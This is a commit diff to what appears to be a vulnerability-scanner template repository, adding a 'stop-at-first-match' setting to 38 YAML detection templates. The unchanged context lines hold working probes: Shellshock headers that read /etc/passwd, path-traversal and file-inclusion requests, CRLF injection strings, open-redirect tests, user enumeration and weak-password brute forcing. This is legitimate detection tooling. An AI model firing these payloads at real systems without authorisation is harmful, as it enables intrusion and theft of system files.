Added stop-at-first-match in applicable templates

2021-09-02 17:29:10 +05:30 · 2021-09-02 17:29:10 +05:30 · c266084621
parent e97e621efa
commit c266084621
38 changed files with 51 additions and 13 deletions
--- a/cves/2013/CVE-2013-3827.yaml
+++ b/cves/2013/CVE-2013-3827.yaml
@ -24,6 +24,7 @@ requests:
      - "{{BaseURL}}/SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF"
      - "{{BaseURL}}/SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
--- a/cves/2014/CVE-2014-6271.yaml
+++ b/cves/2014/CVE-2014-6271.yaml
@ -25,11 +25,14 @@ requests:
      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+
      - type: regex
        regex:
          - "root:.*:0:0:"
--- a/cves/2017/CVE-2017-17562.yaml
+++ b/cves/2017/CVE-2017-17562.yaml
@ -89,7 +89,7 @@ requests:
        - welcome

    attack: sniper
-
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/cves/2019/CVE-2019-14322.yaml
+++ b/cves/2019/CVE-2019-14322.yaml
@ -12,6 +12,8 @@ requests:
      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
      - "{{BaseURL}}/web/static/c:/windows/win.ini"
      - "{{BaseURL}}/base/static/c:/windows/win.ini"
+
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/cves/2019/CVE-2019-17382.yaml
+++ b/cves/2019/CVE-2019-17382.yaml
@ -20,7 +20,7 @@ requests:
      ids: helpers/wordlists/numbers.txt
    attack: sniper
    threads: 50
-
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/cves/2021/CVE-2021-22873.yaml
+++ b/cves/2021/CVE-2021-22873.yaml
@ -18,7 +18,9 @@ requests:
      - "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://example.com"
      - "{{BaseURL}}/www/delivery/lg.php?dest=http://example.com"

+    stop-at-first-match: true
    redirects: true
+    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: status
--- a/default-logins/aem/adobe-aem-default-credentials.yaml
+++ b/default-logins/aem/adobe-aem-default-credentials.yaml
@ -50,7 +50,7 @@ requests:
        - password

    attack: pitchfork  # Available options: sniper, pitchfork and clusterbomb
-
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/exposed-panels/adminer-panel.yaml
+++ b/exposed-panels/adminer-panel.yaml
@ -22,6 +22,7 @@ requests:
      - '{{BaseURL}}/sql.php'
      - '{{BaseURL}}/wp-content/plugins/adminer/adminer.php'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:

--- a/exposed-panels/jira-detect.yaml
+++ b/exposed-panels/jira-detect.yaml
@ -13,6 +13,7 @@ requests:
      - "{{BaseURL}}/jira/secure/Dashboard.jspa"
      - "{{BaseURL}}/login.jsp"

+    stop-at-first-match: true
    redirects: true
    max-redirects: 2
    matchers:
--- a/exposed-panels/setup-page-exposure.yaml
+++ b/exposed-panels/setup-page-exposure.yaml
@ -14,6 +14,8 @@ requests:
      - '{{BaseURL}}/zp/zp-core/setup/index.php'
      - '{{BaseURL}}/gallery/zp-core/setup/index.php'
      - '{{BaseURL}}/zenphoto/zp-core/setup/index.php'
+
+    stop-at-first-match: true
    matchers:
      - type: word
        words:
--- a/exposed-panels/sphider-login.yaml
+++ b/exposed-panels/sphider-login.yaml
@ -14,6 +14,7 @@ requests:
      - '{{BaseURL}}/sphider/admin/admin.php'
      - '{{BaseURL}}/search/admin/admin.php'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
--- a/exposures/apis/swagger-api.yaml
+++ b/exposures/apis/swagger-api.yaml
@ -51,6 +51,7 @@ requests:
      - "{{BaseURL}}/api/v1/swagger-ui/swagger.yaml"
      - "{{BaseURL}}/swagger-resources/restservices/v2/api-docs"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
--- a/exposures/apis/wadl-api.yaml
+++ b/exposures/apis/wadl-api.yaml
@ -31,6 +31,8 @@ requests:
      - "{{BaseURL}}"
      - "{{BaseURL}}/api/v1"
      - "{{BaseURL}}/api/v2"
+
+    stop-at-first-match: true
    matchers:
      - name: http-options
        type: word
--- a/exposures/configs/docker-compose-config.yaml
+++ b/exposures/configs/docker-compose-config.yaml
@ -19,6 +19,7 @@ requests:
      - "{{BaseURL}}/docker-compose-dev.yml"
      - "{{BaseURL}}/docker-compose.override.yml"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
--- a/exposures/configs/git-config-nginxoffbyslash.yaml
+++ b/exposures/configs/git-config-nginxoffbyslash.yaml
@ -22,8 +22,8 @@ requests:
      - '{{BaseURL}}/events../.git/config'
      - '{{BaseURL}}/media../.git/config'
      - '{{BaseURL}}/lib../.git/config'
-    headers:
-      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+
+    stop-at-first-match: true
    matchers:
      - type: word
        words:
--- a/exposures/files/axis-happyaxis.yaml
+++ b/exposures/files/axis-happyaxis.yaml
@ -14,6 +14,7 @@ requests:
      - "{{BaseURL}}/axis2-web/HappyAxis.jsp"
      - "{{BaseURL}}/happyaxis.jsp"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
--- a/fuzzing/adminer-panel-fuzz.yaml
+++ b/fuzzing/adminer-panel-fuzz.yaml
@ -25,7 +25,7 @@ requests:

    attack: sniper
    threads: 50
-
+    stop-at-first-match: true
    matchers-condition: and
    matchers:

--- a/fuzzing/header-command-injection.yaml
+++ b/fuzzing/header-command-injection.yaml
@ -18,8 +18,9 @@ requests:
      header: helpers/payloads/request-headers.txt
      payload: helpers/payloads/command-injection.txt
    attack: clusterbomb
-    redirects: true

+    redirects: true
+    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
--- a/fuzzing/mdb-database-file.yaml
+++ b/fuzzing/mdb-database-file.yaml
@ -22,7 +22,7 @@ requests:
    attack: sniper
    threads: 50
    max-size: 500 # Size in bytes - Max Size to read from server response
-
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: binary
--- a/fuzzing/wordpress-weak-credentials.yaml
+++ b/fuzzing/wordpress-weak-credentials.yaml
@ -22,7 +22,7 @@ requests:
      passwords: helpers/wordlists/wp-passwords.txt
    threads: 50
    attack: clusterbomb
-
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/miscellaneous/htaccess-config.yaml
+++ b/miscellaneous/htaccess-config.yaml
@ -16,6 +16,7 @@ requests:
      - "{{BaseURL}}/a.htaccess"
      - "{{BaseURL}}/htaccess_for_page_not_found_redirects.htaccess"

+    stop-at-first-match: true
    matchers:
      - type: word
        words:
--- a/miscellaneous/phpmyadmin-setup.yaml
+++ b/miscellaneous/phpmyadmin-setup.yaml
@ -18,6 +18,7 @@ requests:
      - "{{BaseURL}}/xampp/phpmyadmin/scripts/setup.php"
      - "{{BaseURL}}/sysadmin/phpMyAdmin/scripts/setup.php"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
--- a/miscellaneous/unpatched-coldfusion.yaml
+++ b/miscellaneous/unpatched-coldfusion.yaml
@ -20,6 +20,7 @@ requests:
      - "{{BaseURL}}/cfide-scripts/ajax/package/cfajax.js"
      - "{{BaseURL}}/cfmx/CFIDE/scripts/ajax/package/cfajax.js"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:

--- a/misconfiguration/aem/aem-default-get-servlet.yaml
+++ b/misconfiguration/aem/aem-default-get-servlet.yaml
@ -66,6 +66,8 @@ requests:
      - '{{BaseURL}}///etc.children.json/FNZ.html'
      - '{{BaseURL}}///etc.children.json/FNZ.png'
      - '{{BaseURL}}///etc.children.json/FNZ.ico'
+
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/misconfiguration/aem/aem-querybuilder-internal-path-read.yaml
+++ b/misconfiguration/aem/aem-querybuilder-internal-path-read.yaml
@ -16,6 +16,7 @@ requests:
      - '{{BaseURL}}/bin/querybuilder.json.css?path=/home&p.hits=full&p.limit=-1'
      - '{{BaseURL}}/bin/querybuilder.json.css?path=/etc&p.hits=full&p.limit=-1'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/misconfiguration/drupal/drupal-user-enum-ajax.yaml
+++ b/misconfiguration/drupal/drupal-user-enum-ajax.yaml
@ -13,9 +13,8 @@ requests:
      - "{{BaseURL}}/views/ajax/autocomplete/user/a"
      - "{{BaseURL}}/?q=admin/views/ajax/autocomplete/user/a"
      - "{{BaseURL}}/?q=views/ajax/autocomplete/user/a"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
--- a/misconfiguration/drupal/drupal-user-enum-redirect.yaml
+++ b/misconfiguration/drupal/drupal-user-enum-redirect.yaml
@ -13,17 +13,19 @@ requests:
      - "{{BaseURL}}/user/1"
      - "{{BaseURL}}/user/2"
      - "{{BaseURL}}/user/3"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?i)Location: http(s|):\/\/[\w\.\-]+(\/ar|\/en|)\/users\/\w+'
        part: header
+
      - type: status
        status:
          - 301
+
    extractors:
      - type: regex
        part: header
--- a/technologies/apache-axis-detect.yaml
+++ b/technologies/apache-axis-detect.yaml
@ -14,6 +14,7 @@ requests:
      - "{{BaseURL}}/axis2/"
      - "{{BaseURL}}/axis/"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
--- a/technologies/graphql-detect.yaml
+++ b/technologies/graphql-detect.yaml
@ -52,6 +52,7 @@ requests:

    body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/technologies/lotus-domino-version.yaml
+++ b/technologies/lotus-domino-version.yaml
@ -14,6 +14,7 @@ requests:
      - "{{BaseURL}}/iNotes/Forms85.nsf"
      - "{{BaseURL}}/iNotes/Forms9.nsf"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/technologies/telerik-dialoghandler-detect.yaml
+++ b/technologies/telerik-dialoghandler-detect.yaml
@ -29,6 +29,7 @@ requests:
      - '{{BaseURL}}/cms/portlets/Telerik.Web.UI.DialogHandler.aspx?dp=1'
      - '{{BaseURL}}/dashboard/UserControl/CMS/Page/Telerik.Web.UI.DialogHandler.aspx/Desktopmodules/Admin/dnnWerk.Users/DialogHandler.aspx?dp=1'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
--- a/vulnerabilities/generic/crlf-injection.yaml
+++ b/vulnerabilities/generic/crlf-injection.yaml
@ -20,6 +20,7 @@ requests:
      - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/?Test=%0D%0ASet-Cookie:crlfinjection=crlfinjection"

+    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
--- a/vulnerabilities/generic/generic-linux-lfi.yaml
+++ b/vulnerabilities/generic/generic-linux-lfi.yaml
@ -45,6 +45,7 @@ requests:
      - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
      - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

+    stop-at-first-match: true
    matchers:
      - type: regex
        words:
--- a/vulnerabilities/generic/generic-windows-lfi.yaml
+++ b/vulnerabilities/generic/generic-windows-lfi.yaml
@ -21,6 +21,7 @@ requests:
      - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
      - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"

+    stop-at-first-match: true
    matchers:
      - type: word
        words:
--- a/vulnerabilities/generic/open-redirect.yaml
+++ b/vulnerabilities/generic/open-redirect.yaml
@ -35,6 +35,7 @@ requests:
      - '{{BaseURL}}/?page=example.com&_url=example.com&callback=example.com&checkout_url=example.com&content=example.com&continue=example.com&continueTo=example.com&counturl=example.com&data=example.com&dest=example.com&dest_url=example.com&diexample.com&document=example.com&domain=example.com&done=example.com&download=example.com&feed=example.com&file=example.com&host=example.com&html=example.com&http=example.com&https=example.com&image=example.com&image_src=example.com&image_url=example.com&imageurl=example.com&include=example.com&langTo=example.com&media=example.com&navigation=example.com&next=example.com&open=example.com&out=example.com&page=example.com&page_url=example.com&pageurl=example.com&path=example.com&picture=example.com&port=example.com&proxy=example.com&redir=example.com&redirect=example.com&redirectUri=example.com&redirectUrl=example.com&reference=example.com&referrer=example.com&req=example.com&request=example.com&retUrl=example.com&return=example.com&returnTo=example.com&return_path=example.com&return_to=example.com&rurl=example.com&show=example.com&site=example.com&source=example.com&src=example.com&target=example.com&to=example.com&uri=example.com&url=example.com&val=example.com&validate=example.com&view=example.com&window=example.com&redirect_to=example.com&ret=example.com&r2=example.com&img=example.com&u=example.com&r=example.com&URL=example.com&AuthState=example.com'
      - '{{BaseURL}}/1/_https@example.com'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
--- a/vulnerabilities/other/bitrix-open-redirect.yaml
+++ b/vulnerabilities/other/bitrix-open-redirect.yaml
@ -24,6 +24,7 @@ requests:
      - '{{BaseURL}}/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://example.com'
      - '{{BaseURL}}/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://example.com'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
--- a/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml
+++ b/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml
@ -16,6 +16,7 @@ requests:
      - "{{BaseURL}}/static///////../../../../etc/passwd"
      - "{{BaseURL}}///../app.js"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:

--- a/vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml
+++ b/vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml
@ -27,6 +27,8 @@ requests:
      - '{{BaseURL}}/wp-config.php.orig'
      - '{{BaseURL}}/wp-config.php.original'
      - '{{BaseURL}}/_wpeprivate/config.json'
+
+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word